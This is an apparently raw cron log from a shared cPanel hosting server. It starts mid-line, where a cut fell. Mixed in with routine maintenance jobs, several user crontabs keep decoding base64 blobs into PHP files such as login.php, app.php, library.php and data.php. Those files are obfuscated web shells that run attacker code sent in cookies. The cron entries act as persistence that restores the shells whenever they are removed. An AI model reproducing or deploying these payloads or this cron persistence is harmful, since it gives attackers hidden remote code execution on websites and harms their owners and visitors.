JheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:38:01 medusa CROND[1588]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:38:01 medusa CROND[1586]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:38:01 medusa CROND[1589]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:38:01 medusa CROND[1591]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:38:01 medusa CROND[1587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:38:01 medusa CROND[1590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:38:01 medusa CROND[1593]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:38:01 medusa CROND[1595]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:38:01 medusa CROND[1598]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:39:02 medusa CROND[3455]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:39:02 medusa CROND[3459]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 07:39:02 medusa CROND[3460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:39:02 medusa CROND[3461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:39:02 medusa CROND[3462]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:39:02 medusa CROND[3464]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:39:02 medusa CROND[3465]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:39:02 medusa CROND[3467]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:39:02 medusa CROND[3466]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:39:02 medusa CROND[3468]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:39:02 medusa CROND[3472]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:39:02 medusa CROND[3473]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:39:02 medusa CROND[3476]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:39:02 medusa CROND[3477]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5350]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:40:02 medusa CROND[5357]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5358]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:40:02 medusa CROND[5356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:40:02 medusa CROND[5359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5360]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5361]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:40:02 medusa CROND[5362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:40:02 medusa CROND[5366]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:40:02 medusa CROND[5367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 07:40:02 medusa CROND[5368]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5374]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:40:02 medusa CROND[5375]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5373]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 07:40:02 medusa CROND[5372]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5377]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:40:02 medusa CROND[5380]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:40:02 medusa CROND[5381]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 07:40:02 medusa CROND[5384]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:40:02 medusa CROND[5385]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:40:02 medusa CROND[5390]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
